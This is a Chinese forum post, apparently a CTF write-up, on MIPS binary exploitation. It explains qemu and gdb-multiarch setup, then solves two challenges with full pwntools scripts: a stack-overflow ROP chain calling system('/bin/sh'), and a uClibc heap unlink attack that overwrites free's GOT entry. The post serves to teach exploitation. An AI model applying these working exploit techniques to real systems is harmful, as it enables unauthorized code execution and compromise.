初探MIPS PWN

莱莱  金牌会员 | 2024-8-10 18:47:48 | 显示全部楼层 | 阅读模式
打印 上一主题 下一主题

主题 883|帖子 883|积分 2649

MIPS PWN调试环境设置&工具安装(Ubuntu 22.04)

安装 qemu

qemu 是一个支持跨平台虚拟化的虚拟机,有 user mode 和 system mode 两种设置方式。此中qemu 在system mode设置下模仿出整个计算机,可以在qemu之上运行一个操作体系。qemu 的system mode与常见的VMware和Virtualbox等虚拟机比较相似,但是qemu 的优势是可以跨指令集。例如,VMware和Virtualbox之类的工具通常只能在x86计算机上虚拟出一个x86计算机,而qemu 支持在x86上虚拟出一个ARM计算机。qemu在user mode设置下,可以运行跟当前平台指令集不同的平台可执行程序。例如可以用qemu在x86上运行ARM的可执行程序,但是两个平台必须是同一种操作体系,好比Linux。
  1. sudo apt install qemu
  2. sudo apt install qemu-user
复制代码
安装 gdb-multiarch

gdb-multiarch 是一个经过交叉编译后的、支持多架构版本的 gdb。
  1. sudo apt install gdb-multiarch
复制代码
导入lib文件

一样平常来说题目会提供程序依赖的so库,所以在程序根目录创建一个lib文件夹并将依赖文件放进去
文件目录结构
  1. ├── lib
  2. │   ├── ld-uClibc.so.0
  3. │   └── libc.so.0
  4. ├── pwn2
  5. └── run.sh
  6. 1 directory, 4 files
复制代码
然后输入下面命令测试能不能运行
  1. qemu-mipsel-static -L . ./pwn2
复制代码
开始调试


  • 先通过qemu运行程序
    1. qemu-mipsel-static -g 2333 -L ./ ./pwn2
    复制代码
    这里开的远程端口是2333
  • 再用gdb远程连接
    1. gdb-multiarch pwn2
    2. pwndbg> target remote 127.0.0.1:2333
    复制代码
出现调试窗口就阐明成功啦

安装mipsrop插件

ida/plugins/mipsrop at master · grayhatacademy/ida (github.com)
下载py文件放到ida的plugins文件夹即可,要留意的是它依赖了shims模块(在同一个git项目下

所以也要下载ida_shims.py并放到plugins文件夹
如果插件加载有问题,改mipsrop.py文件的第82行为下面内容
  1. # original:from shims import ida_shims
  2. # patched:
  3. import ida_shims
复制代码
题目1:mipspwn

程序分析

用ghidra打开该文件
查看main函数,看起来像个堆题,有add,delete和edit

然而我们找到选项7对应的description函数并跟进会发现,里面调用了vul函数

这是一个很显着的栈溢出弊端,我们直接找gadget然后ret2libc即可
gadget的寻找

IDA -> search -> mips rop gadgets启动插件
起首我们必要找到能控制参数a0的gadget

这里找到了一个gadget,但使用它还必要控制s0和s2寄存器
寻找能控制s0,s2的gadget

接下来就简单了,利用这两个gadget,先puts泄露libc地点再执行system("/bin/sh")
这里用description函数中的puts调用,来打印read函数的真实地点,这样在puts结束后会向下执行vul函数,这样就有二次溢出的机会

exp
  1. from pwn import *
  2. def get_sb():
  3.     return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
  4. sd = lambda data : p.send(data)
  5. sa  = lambda text,data  :p.sendafter(text, data)
  6. sl  = lambda data   :p.sendline(data)
  7. sla = lambda text,data  :p.sendlineafter(text, data)
  8. rc   = lambda num=4096   :p.recv(num)
  9. ru  = lambda text   :p.recvuntil(text)
  10. rl  = lambda         :p.recvline()
  11. pr = lambda num=4096 :print(p.recv(num))
  12. ia   = lambda        :p.interactive()
  13. l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
  14. l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
  15. uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
  16. uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
  17. int16   = lambda data   :int(data,16)
  18. lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
  19. context(arch = "mips",os = "linux",log_level = "debug")
  20. file = "./pwn2"
  21. libc = "./lib/libc.so.0"
  22. if len(sys.argv) > 1 and sys.argv[1] == "de":
  23.     p = process(["qemu-mipsel-static", "-g", "2333", "-L", "./", file])
  24. else:
  25.     p = process(["qemu-mipsel-static", "-L", "./", file])
  26. elf = ELF(file)
  27. libc = ELF(libc)
  28. ru("Warrior,leave your name here:")
  29. sl("s1nyer")
  30. ru("Your choice: ")
  31. sl('7')
  32. j_ra_s3_s2_s1_s0 = 0x00400798
  33. m_a0_s0_t9_s2 = 0x000401040
  34. read_got = elf.got["read"]
  35. puts_addr = 0x00400FB4
  36. pl = b'a'*(0x38+4)
  37. pl += p32(j_ra_s3_s2_s1_s0)
  38. pl += b'c'*0x1c
  39. pl += p32(read_got)#s0
  40. pl += p32(0)#s1
  41. pl += p32(puts_addr)#s2
  42. pl += p32(0)#s3
  43. pl += p32(m_a0_s0_t9_s2)#ra
  44. ru("Write down your feeling:")
  45. sl(pl)
  46. rc(1)
  47. read_addr = u32(rc(4))
  48. libc_base =read_addr - libc.sym["read"]
  49. lg("libc_base", libc_base)
  50. system, binsh = get_sb()
  51. pl = b'a'*(0x38+4)
  52. pl += p32(j_ra_s3_s2_s1_s0)
  53. pl += b'c'*0x1c
  54. pl += p32(binsh)#s0
  55. pl += p32(0)#s1
  56. pl += p32(system)#s2
  57. pl += p32(0)#s3
  58. pl += p32(m_a0_s0_t9_s2)#ra
  59. sl(pl)
  60. ia()
复制代码
题目2:managesystem

程序分析

先patch掉讨厌的alarm函数,把jalr那条指令改成nop(在hexview里把那四个字节全改成0


放到ghidra里查看主函数

经典的堆菜单,有add,delete,edit和show
最多同时存在0x10个堆,并且限制size < 0x8f
只有两次delete机会,并且delete后会把note_list里对应的指针置零,没有UAF
弊端位于edit函数内,有八个字节的溢出

题目用的是uclibc,相当于小型的C语言尺度库,和glibc有一些差别,源码:stdlib « libc - uClibc - A C library for embedded Linux
它没有main_arena全局变量,取而代之的是__malloc_state这个全局变量,我们可以看一下他的 malloc_state结构体
  1. struct malloc_state {
  2.   /* The maximum chunk size to be eligible for fastbin */
  3.   size_t  max_fast;   /* low 2 bits used as flags */
  4.   /* Fastbins */
  5.   mfastbinptr      fastbins[NFASTBINS];
  6.   /* Base of the topmost chunk -- not otherwise kept in a bin */
  7.   mchunkptr        top;
  8.   /* The remainder from the most recent split of a small request */
  9.   mchunkptr        last_remainder;
  10.   /* Normal bins packed as described above */
  11.   mchunkptr        bins[NBINS * 2];
  12.   /* Bitmap of bins. Trailing zero map handles cases of largest binned size */
  13.   unsigned int     binmap[BINMAPSIZE+1];
  14.   
  15.   // 之后的结构就省略了
  16.   ..............................
  17.   ..............................
  18. };
复制代码
接着用gdb查一下内存布局,发现max_fast的值是8
  1. pwndbg> x/20wx &__malloc_state
  2. 0x3ffd3108 <__malloc_state>:        0x00000008        0x00000000        0x00000000        0x00000000
  3. 0x3ffd3118 <__malloc_state+16>:        0x00000000        0x00000000        0x00000000        0x00000000
  4. 0x3ffd3128 <__malloc_state+32>:        0x00000000        0x00000000        0x00000000        0x00412028
  5. 0x3ffd3138 <__malloc_state+48>:        0x00000000        0x00000000        0x00000000        0x3ffd313c
  6. 0x3ffd3148 <__malloc_state+64>:        0x3ffd313c        0x3ffd3144        0x3ffd3144        0x3ffd314c
复制代码
阅读源码发现是没有tcache机制的,并且由于max_fast的值是8,可以说free掉的堆都是不会进入fastbin而是优先进入unsorted bin
同时发现他的malloc_chunk结构和glibc对比没有fd_nextsize,bk_nextsize
  1. struct malloc_chunk {
  2.   size_t      prev_size;  /* Size of previous chunk (if free).  */
  3.   size_t      size;       /* Size in bytes, including overhead. */
  4.   struct malloc_chunk* fd;         /* double links -- used only if free. */
  5.   struct malloc_chunk* bk;
  6. };
复制代码
unlink宏
  1. /* Take a chunk off a bin list */
  2. #define unlink(P, BK, FD) {                                            \
  3.   FD = P->fd;                                                          \
  4.   BK = P->bk;                                                          \
  5.   if (FD->bk != P || BK->fd != P)                                      \
  6.       abort();                                                         \
  7.   FD->bk = BK;                                                         \
  8.   BK->fd = FD;                                                         \
  9. }
复制代码
所以可以用unlink攻击来劫持note_list
  1. note_list = 0x411830
  2. add(0x20)
  3. add(0x20-8)
  4. payload = flat(0, 0x21, note_list-12, note_list-8) # fake_chunk
  5. payload += b'a'*0x10 # padding
  6. payload += p32(0x20) + p32(0x20) # overwrite prev_size and size
  7. edit(0,payload)
  8. free(1)
复制代码
这里有个很奇怪的问题,按理说unlink之后note_list[0]的存的指针是伪造的FD,也就是note_list-12。但是现实调试却发现是note_list-8,也就是伪造的BK
  1. pwndbg> x/12wx 0x412008
  2. 0x412008:        0x00000000        0x00000021        0x00411824        0x00411828
  3. 0x412018:        0x61616161        0x61616161        0x61616161        0x61616161
  4. 0x412028:        0x00000020        0x00000020        0x00000000        0x00000000
复制代码
想用watch命令跟踪一下note_list内存的读写情况也失败了,应该是qemu的原因
  1. pwndbg> watch *0x411830
  2. Hardware watchpoint 2: *0x411830
  3. pwndbg> c
  4. Continuing.
  5. Warning:
  6. Could not insert hardware watchpoint 2.
  7. Could not insert hardware breakpoints:
  8. You may have requested too many hardware breakpoints/watchpoints.
复制代码
猜测可能是编译优化导致的指令乱序,下面两条语句的执行顺序变动了,所以导致最后note_list[0]的值是fake BK
  1. FD->bk = BK;
  2. BK->fd = FD;
复制代码
(看uclibc源码这个unlink应该没问题的,但是没有符号也懒得调那个uclibc了 =_=
接下来note_ list写入read的GOT表地点,泄露libc
  1. # leak libc
  2. payload = b'\x00'*8 # padding
  3. payload += flat(note_list, 0x50, elf.got['read'], 4)
  4. edit(0, payload)
  5. show(1)
  6. ru("info: ")
  7. libc_base = uu32() - libc.sym['read']
  8. lg("libc_base", libc_base)
复制代码
劫持free GOT地点为system函数,释放一个指向"/bin/sh\x00"字符串的地点即可
  1. # hijack free GOT
  2. system, binsh = get_sb()
  3. payload = flat(note_list, 0, elf.got['free'], 0x10, binsh)
  4. edit(0, payload)
  5. edit(1, p32(system))
  6. free(2)
复制代码
exp
  1. from pwn import *def get_sb():    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))sd = lambda data : p.send(data)sa  = lambda text,data  :p.sendafter(text, data)sl  = lambda data   :p.sendline(data)sla = lambda text,data  :p.sendlineafter(text, data)rc   = lambda num=4096   :p.recv(num)ru  = lambda text   :p.recvuntil(text)rl  = lambda         :p.recvline()pr = lambda num=4096 :print(p.recv(num))ia   = lambda        :p.interactive()l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))int16   = lambda data   :int(data,16)lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))context(arch = "mips",os = "linux",log_level = "debug")file = "./managesystem"libc = "./lib/libc.so.0"if len(sys.argv) > 1 and sys.argv[1] == "de":    p = process(["qemu-mipsel-static", "-g", "2333", "-L", "./", file])elif len(sys.argv) > 1 and sys.argv[1] == "re":    p = remote("127.0.0.1", 28913)else:    p = process(["qemu-mipsel-static", "-L", "./", file])elf = ELF(file)libc = ELF(libc)def add(sz, ct='a'):    sla("options >>", str(1))    sla("length:", str(sz))    if sz != 0:        sa("info:", ct)def free(idx):    sla("options >>", str(2))    sla("user:", str(idx))def edit(idx, ct):    sla("options >>", str(3))    sla("want edit:", str(idx))    sa("new user's info:", ct)def show(idx):    sla("options >>", str(4))    sla("want show: \n", str(idx))note_list = 0x411830add(0x20)add(0x20-8)payload = flat(0, 0x21, note_list-12, note_list-8) # fake_chunkpayload += b'a'*0x10 # paddingpayload += p32(0x20) + p32(0x20) # Overwrite prev_size and sizeedit(0, payload)free(1)# leak libc
  2. payload = b'\x00'*8 # padding
  3. payload += flat(note_list, 0x50, elf.got['read'], 4)
  4. edit(0, payload)
  5. show(1)
  6. ru("info: ")
  7. libc_base = uu32() - libc.sym['read']
  8. lg("libc_base", libc_base)# hijack free GOT
  9. system, binsh = get_sb()
  10. payload = flat(note_list, 0, elf.got['free'], 0x10, binsh)
  11. edit(0, payload)
  12. edit(1, p32(system))
  13. free(2)ia()
复制代码
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

莱莱

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表